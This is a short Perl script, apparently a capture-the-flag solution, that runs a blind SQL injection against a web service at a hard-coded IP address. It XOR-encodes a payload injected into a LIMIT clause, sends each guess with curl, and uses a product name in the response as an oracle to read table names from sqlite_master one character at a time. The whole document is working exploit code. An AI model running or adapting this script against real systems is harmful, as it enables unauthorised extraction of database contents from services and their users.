#!/usr/bin/perl @xor = (0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b, 0xc8, 0x26, 0xbc, 0xbe, 0xcb, 0x43, 0xc3, 0x99, 0xf4, 0x48, 0xee, 0x9a, 0x1a, 0x84, 0x3b, 0x1a, 0x29, 0x57, 0x45, 0x5e, 0x02, 0x20, 0xf1, 0x4e, 0xbd, 0xa9, 0x45, 0x66, 0x40, 0xeb, 0x27, 0x3b); for ($end=1;$end <= 50; $end++) { for ($qq=32;$qq<=128;$qq++) { $letter = chr($qq); $words = "\nprice LIMIT (CASE WHEN substr((SELECT name FROM sqlite_master LIMIT 0,1),$end,1)=\'$letter\' THEN 1 ELSE 0 END)"; $what = ""; for ($pos=0; $pos < length($words); $pos+=1) { $char = substr($words, $pos, 1); $int = ord($char); $int ^= $xor[$pos]; $what .= sprintf("%02x", $int); } $get = `curl -s "http://54.228.109.101:5000?action=display&what=$what"`; if (index($get, "Traditional Klomp") != -1) { print "$end: $letter\n"; last; } } } print "\n";